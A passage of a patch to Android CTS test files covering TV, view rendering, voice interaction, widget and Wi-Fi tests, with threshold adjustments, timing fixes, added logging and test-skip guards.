+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -34,9 +34,10 @@
 import android.util.SparseIntArray;
 import android.view.InputEvent;
 import android.view.KeyEvent;
-
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.ArrayList;
@@ -51,6 +52,11 @@
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT_MS = 15000L;
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private TvView mTvView;
     private Activity mActivity;
     private Instrumentation mInstrumentation;
@@ -170,6 +176,13 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -207,6 +220,9 @@
             throw new RuntimeException(t);
         }
         mInstrumentation.waitForIdleSync();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
index 042c2a9..a3f97c8 100644
--- a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
+++ b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
@@ -22,6 +22,6 @@
         android:layout_height="40px"
         android:translationX="25px"
         android:translationY="25px"
-        android:elevation="10dp"
+        android:elevation="20px"
         android:background="#fff" />
-</FrameLayout>
\ No newline at end of file
+</FrameLayout>
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
index f9eaa00..fd77a14 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
@@ -77,8 +77,8 @@
         }
     }
 
-    private static final int DEFAULT_LAYOUT_WIDTH = 100;
-    private static final int DEFAULT_LAYOUT_HEIGHT = 100;
+    private static final int DEFAULT_LAYOUT_WIDTH = 50;
+    private static final int DEFAULT_LAYOUT_HEIGHT = 50;
 
     @Rule
     public ActivityTestRule<CapturedActivity> mActivityRule =
@@ -238,7 +238,7 @@
         MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) {
             @Override
             public boolean checkPixels(int pixelCount, int width, int height) {
-                return pixelCount > 9000 && pixelCount < 11000;
+                return pixelCount > 2000 && pixelCount < 3000;
             }
         };
 
@@ -270,7 +270,7 @@
         MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) {
             @Override
             public boolean checkPixels(int pixelCount, int width, int height) {
-                return pixelCount > 9000 && pixelCount < 11000;
+                return pixelCount > 2000 && pixelCount < 3000;
             }
         };
 
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 7b63e41..af2b120 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -64,7 +64,7 @@
                 .getUiAutomation();
 
         // Inject key down event for back
-        long currentTime = System.currentTimeMillis();
+        long currentTime = SystemClock.uptimeMillis();
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_BACK, 0), true);
 
@@ -79,7 +79,7 @@
         assertTrue(mActivity.sawBackDown());
         assertFalse(mActivity.sawBackUp());
 
-        currentTime = System.currentTimeMillis();
+        currentTime = SystemClock.uptimeMillis();
         // Inject key up event for back
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
                 KeyEvent.KEYCODE_BACK, 0), true);
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 502170d..8a1f853 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -73,6 +73,7 @@
 import java.nio.ByteOrder;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -894,31 +895,29 @@
 
     private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
             int bottomLeft, int bottomRight, int threshold) {
-        try {
-            // Just quickly sample 4 pixels in the various regions.
-            assertTrue("Top left", pixelsAreSame(topLeft,
-                    getPixelFloatPos(bitmap, .25f, .25f), threshold));
-            assertTrue("Top right", pixelsAreSame(topRight,
-                    getPixelFloatPos(bitmap, .75f, .25f), threshold));
-            assertTrue("Bottom left", pixelsAreSame(bottomLeft,
-                    getPixelFloatPos(bitmap, .25f, .75f), threshold));
-            assertTrue("Bottom right", pixelsAreSame(bottomRight,
-                    getPixelFloatPos(bitmap, .75f, .75f), threshold));
+        Function<Float, Integer> getX = (Float x) -> (int) (bitmap.getWidth() * x);
+        Function<Float, Integer> getY = (Float y) -> (int) (bitmap.getHeight() * y);
 
-            float below = .45f;
-            float above = .55f;
-            assertTrue("Top left II", pixelsAreSame(topLeft,
-                    getPixelFloatPos(bitmap, below, below), threshold));
-            assertTrue("Top right II", pixelsAreSame(topRight,
-                    getPixelFloatPos(bitmap, above, below), threshold));
-            assertTrue("Bottom left II", pixelsAreSame(bottomLeft,
-                    getPixelFloatPos(bitmap, below, above), threshold));
-            assertTrue("Bottom right II", pixelsAreSame(bottomRight,
-                    getPixelFloatPos(bitmap, above, above), threshold));
-        } catch (AssertionError err) {
-            BitmapDumper.dumpBitmap(bitmap, mTestName.getMethodName(), "PixelCopyTest");
-            throw err;
-        }
+        // Just quickly sample 4 pixels in the various regions.
+        assertBitmapColor("Top left", bitmap, topLeft,
+                getX.apply(.25f), getY.apply(.25f), threshold);
+        assertBitmapColor("Top right", bitmap, topRight,
+                getX.apply(.75f), getY.apply(.25f), threshold);
+        assertBitmapColor("Bottom left", bitmap, bottomLeft,
+                getX.apply(.25f), getY.apply(.75f), threshold);
+        assertBitmapColor("Bottom right", bitmap, bottomRight,
+                getX.apply(.75f), getY.apply(.75f), threshold);
+
+        float below = .4f;
+        float above = .6f;
+        assertBitmapColor("Top left II", bitmap, topLeft,
+                getX.apply(below), getY.apply(below), threshold);
+        assertBitmapColor("Top right II", bitmap, topRight,
+                getX.apply(above), getY.apply(below), threshold);
+        assertBitmapColor("Bottom left II", bitmap, bottomLeft,
+                getX.apply(below), getY.apply(above), threshold);
+        assertBitmapColor("Bottom right II", bitmap, bottomRight,
+                getX.apply(above), getY.apply(above), threshold);
     }
 
     private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
@@ -941,7 +940,7 @@
                 bitmap.getWidth() - 3, bitmap.getHeight() / 2);
     }
 
-    private boolean pixelsAreSame(int ideal, int given, int threshold) {
+    private static boolean pixelsAreSame(int ideal, int given, int threshold) {
         int error = Math.abs(Color.red(ideal) - Color.red(given));
         error += Math.abs(Color.green(ideal) - Color.green(given));
         error += Math.abs(Color.blue(ideal) - Color.blue(given));
@@ -954,8 +953,13 @@
     }
 
     private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y) {
+        assertBitmapColor(debug, bitmap, color,  x, y, 10);
+    }
+
+    private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y,
+            int threshold) {
         int pixel = bitmap.getPixel(x, y);
-        if (!pixelsAreSame(color, pixel, 10)) {
+        if (!pixelsAreSame(color, pixel, threshold)) {
             fail(bitmap, debug + "; expected=" + Integer.toHexString(color) + ", actual="
                     + Integer.toHexString(pixel));
         }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 0362b1a..4435422 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -268,7 +268,7 @@
 
             Rect boundsToCheck =
                     animationTestCase.getBoundsToCheck(findViewById(android.R.id.content));
-            if (boundsToCheck.width() < 90 || boundsToCheck.height() < 90) {
+            if (boundsToCheck.width() < 40 || boundsToCheck.height() < 40) {
                 fail("capture bounds too small to be a fullscreen activity: " + boundsToCheck);
             }
 
diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml
index 087a833..7cb18b9 100644
--- a/tests/tests/voiceinteraction/service/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml
@@ -57,6 +57,7 @@
           <intent-filter>
               <action android:name="android.intent.action.MAIN" />
               <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.ASSIST"/>
           </intent-filter>
       </activity>
       <service android:name=".MainInteractionSessionService"
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index d63dc3d..759876c 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -88,6 +88,7 @@
     public void onCreate() {
         super.onCreate();
         mHandler = Handler.createAsync(Looper.getMainLooper());
+        Log.d(TAG, "onCreate");
     }
 
     @Override
@@ -209,6 +210,7 @@
     @Override
     public void onStopDetection() {
         super.onStopDetection();
+        Log.d(TAG, "onStopDetection");
         synchronized (mLock) {
             mHandler.removeCallbacks(mDetectionJob);
             mDetectionJob = null;
@@ -225,6 +227,18 @@
         super.onUpdateState(options, sharedMemory, callbackTimeoutMillis, statusCallback);
         Log.d(TAG, "onUpdateState");
 
+        // Reset mDetectionJob and mStopDetectionCalled when service is initializing.
+        synchronized (mLock) {
+            if (statusCallback != null) {
+                if (mDetectionJob != null) {
+                    Log.d(TAG, "onUpdateState mDetectionJob is not null");
+                    mHandler.removeCallbacks(mDetectionJob);
+                    mDetectionJob = null;
+                }
+                mStopDetectionCalled = false;
+            }
+        }
+
         if (options != null) {
             if (options.getInt(Utils.KEY_TEST_SCENARIO, -1)
                     == Utils.HOTWORD_DETECTION_SERVICE_ON_UPDATE_STATE_CRASH) {
@@ -316,6 +330,7 @@
                     return true;
                 }
             }
+            Log.d(TAG, "All data are zero");
             return false;
         } finally {
             record.release();
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index dbc5a4f..d25632a 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -273,6 +273,13 @@
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
                 Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR);
+
+        // ActivityManager will schedule a timer to restart the HotwordDetectionService due to
+        // we crash the service in this test case. It may impact the other test cases when
+        // ActivityManager restarts the HotwordDetectionService again. Add the sleep time to wait
+        // ActivityManager to restart the HotwordDetectionService, so that the service can be
+        // destroyed after finishing this test case.
+        Thread.sleep(TIMEOUT_MS);
     }
 
     private void testHotwordDetection(int testType, String expectedIntent, int expectedResult) {
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
index 192e97f..e0b22ba 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
@@ -33,6 +33,8 @@
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.BeforeClass;
@@ -40,6 +42,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.concurrent.Callable;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
@@ -109,6 +112,13 @@
         }
         assertThat(getAssistRoleHolders()).containsExactly(packageName);
 
+        Callable<Boolean> condition = hasRecognition
+                ? () -> !TextUtils.isEmpty(Settings.Secure.getString(sContext.getContentResolver(),
+                Settings.Secure.VOICE_INTERACTION_SERVICE))
+                : () -> "".equals(Settings.Secure.getString(sContext.getContentResolver(),
+                        Settings.Secure.VOICE_INTERACTION_SERVICE));
+        PollingCheck.check("Make sure that Settings VOICE_INTERACTION_SERVICE "
+                + "becomes available.", 500, condition);
         final String curVoiceInteractionComponentName = Settings.Secure.getString(
                 sContext.getContentResolver(),
                 Settings.Secure.VOICE_INTERACTION_SERVICE);
diff --git a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
index d2a5f82..293ff1d 100644
--- a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
+++ b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
@@ -18,10 +18,7 @@
 
 import android.app.AlertDialog;
 import android.app.Dialog;
-import android.content.BroadcastReceiver;
-import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.os.Bundle;
 
 import androidx.annotation.NonNull;
@@ -33,8 +30,6 @@
 public class TranslucentActivity extends AppCompatActivity {
     private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
-    private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
-            "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -47,14 +42,6 @@
     }
 
     @Override
-    protected void onStart() {
-        super.onStart();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_TRANSLUCENT_ACTIVITY_FINISH);
-        registerReceiver(mFinishActivityReceiver, filter);
-    }
-
-    @Override
     protected void onResume() {
         super.onResume();
         Intent intent = new Intent(ACTION_TRANSLUCENT_ACTIVITY_RESUMED);
@@ -62,19 +49,6 @@
         sendBroadcast(intent);
     }
 
-    @Override
-    protected void onStop() {
-        super.onStop();
-        unregisterReceiver(mFinishActivityReceiver);
-    }
-
-    private final BroadcastReceiver mFinishActivityReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            finish();
-        }
-    };
-
     public static class SampleFragment extends DialogFragment {
         @NonNull
         @Override
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 72cff7f..67a12a0 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
@@ -160,7 +161,7 @@
     }
 
     @Test
-    public void testToggleViaEmulatedTap() {
+    public void testToggleViaEmulatedTap() throws Throwable {
         final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
                 mock(RadioButton.OnCheckedChangeListener.class);
         mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
@@ -170,7 +171,8 @@
 
         // tap to checked
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mRadioButton);
-        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        // wait for the posted onClick() after the tap
+        verify(mockCheckedChangeListener, timeout(5000)).onCheckedChanged(mRadioButton, true);
         assertTrue(mRadioButton.isChecked());
 
         // tap to not checked - this should leave the radio button in checked state
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 64a5cf3..01339eb 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -95,8 +95,8 @@
     private static final int MAX_PACKAGE_TOASTS_LIMIT = 5;
     private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
-    private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
-            "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
+    private static final ComponentName COMPONENT_CTS_ACTIVITY =
+            ComponentName.unflattenFromString("android.widget.cts/.CtsActivity");
     private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
             ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
     private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
@@ -873,7 +873,14 @@
         mActivityRule.runOnUiThread(mToast::show);
 
         assertCustomToastNotShown(view);
-        mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
+
+        // Start CtsActivity with CLEAR_TOP flag to finish the TranslucentActivity on top.
+        intent = new Intent();
+        intent.setComponent(COMPONENT_CTS_ACTIVITY);
+        intent.setAction(Intent.ACTION_MAIN);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP
+                | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mActivityRule.getActivity().startActivity(intent);
     }
 
     @UiThreadTest
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 7fa5134..30be41c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -618,15 +618,17 @@
 
             // Restart wifi subsystem.
             mWifiManager.restartWifiSubsystem();
+
+            // wait for scorer to stop session due to network disconnection.
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
             // Wait for the device to connect back.
             PollingCheck.check(
                     "Wifi not connected",
                     WIFI_CONNECT_TIMEOUT_MILLIS * 2,
                     () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
 
-            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
-            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
-
             // Followed by a new onStart() after the connection.
             // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
             // invoked, so this should not be racy.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
index 55b7366..271035f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -76,6 +76,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -96,6 +97,7 @@
         // skip the test if WiFi is not supported or not automotive platform.
         // Don't use assumeTrue in @BeforeClass
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -122,9 +124,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -138,6 +140,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = mContext.getSystemService(WifiManager.class);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -199,6 +202,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Re-enable networks.
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index b642b54..81129ed 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -159,10 +159,10 @@
 
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
-    // A full single scan duration is about 6-7 seconds if country code is set
-    // to US. If country code is set to world mode (00), we would expect a scan
-    // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
-    private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
+    // A full single scan duration is typically about 6-7 seconds, but
+    // depending on devices it takes more time (9-11 seconds). For a
+    // safety margin, the test waits for 15 seconds.
+    private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
     private static final int TEST_WAIT_DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int WAIT_MSEC = 60;
@@ -1214,36 +1214,6 @@
     }
 
     /**
-     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} returns the proper
-     * failure status code when adding an enterprise config with mandatory fields not filled in.
-     */
-    public void testAddNetworkPrivilegedFailureBadEnterpriseConfig() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
-            // Skip the test if wifi module version is older than S.
-            return;
-        }
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            WifiConfiguration wifiConfiguration = new WifiConfiguration();
-            wifiConfiguration.SSID = SSID1;
-            wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
-            wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
-            WifiManager.AddNetworkResult result =
-                    mWifiManager.addNetworkPrivileged(wifiConfiguration);
-            assertEquals(WifiManager.AddNetworkResult.STATUS_INVALID_CONFIGURATION_ENTERPRISE,
-                    result.statusCode);
-            assertEquals(-1, result.networkId);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
      * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} works properly when the
      * calling app has permissions.
      */
@@ -2690,9 +2660,10 @@
             waitForConnection();
 
             WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
+            savedNetworks = mWifiManager.getConfiguredNetworks();
 
             // find the current network's WifiConfiguration
-            currentConfig = mWifiManager.getConfiguredNetworks()
+            currentConfig = savedNetworks
                     .stream()
                     .filter(config -> config.networkId == wifiInfo.getNetworkId())
                     .findAny()
@@ -2703,6 +2674,14 @@
                     currentConfig.meteredOverride,
                     WifiConfiguration.METERED_OVERRIDE_METERED);
 
+            // Disable all except the currently connected networks to avoid reconnecting to the
+            // wrong network after later setting the current network as metered.
+            for (WifiConfiguration network : savedNetworks) {
+                if (network.networkId != currentConfig.networkId) {
+                    assertTrue(mWifiManager.disableNetwork(network.networkId));
+                }
+            }
+
             // Check the network capabilities to ensure that the network is marked not metered.
             waitForNetworkCallbackAndCheckForMeteredness(false);
 
@@ -2730,6 +2709,12 @@
             if (currentConfig != null) {
                 mWifiManager.updateNetwork(currentConfig);
             }
+            // re-enable all networks
+            if (savedNetworks != null) {
+                for (WifiConfiguration network : savedNetworks) {
+                    mWifiManager.enableNetwork(network.networkId, true);
+                }
+            }
             uiAutomation.dropShellPermissionIdentity();
         }
     }
@@ -4288,12 +4273,11 @@
         }
     }
 
-
     /**
-     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * Verify that secure WPA-Enterprise network configurations can be added and updated.
      */
     @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+    public void testSecureEnterpriseConfigurationsAccepted() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -4310,9 +4294,6 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Verify that an insecure network is rejected
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
-
             // Now configure it correctly with a Root CA cert and domain name
             wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
             wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
@@ -4324,13 +4305,6 @@
             // Verify that the update API accepts configurations configured securely
             wifiConfiguration.networkId = networkId;
             assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
-
-            // Now clear the security configuration
-            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
-            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
-
-            // Verify that the update API rejects insecure configurations
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
         } finally {
             if (networkId != INVALID_NETWORK_ID) {
                 // Clean up the previously added network
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 9eea9e5..600a545 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -184,6 +184,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static WifiConfiguration sTestNetwork;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -199,6 +200,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -251,9 +253,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -272,6 +274,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -302,6 +305,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // If there is failure, ensure we unregister the previous request.
         if (mNrNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 5d80467..5e54e9b 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -97,6 +97,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private static Context sContext;
     private static WifiManager sWifiManager;
@@ -120,6 +121,7 @@
         if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return;
         // skip if the location is disabled
         if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return;
+        sShouldRunTest = true;
 
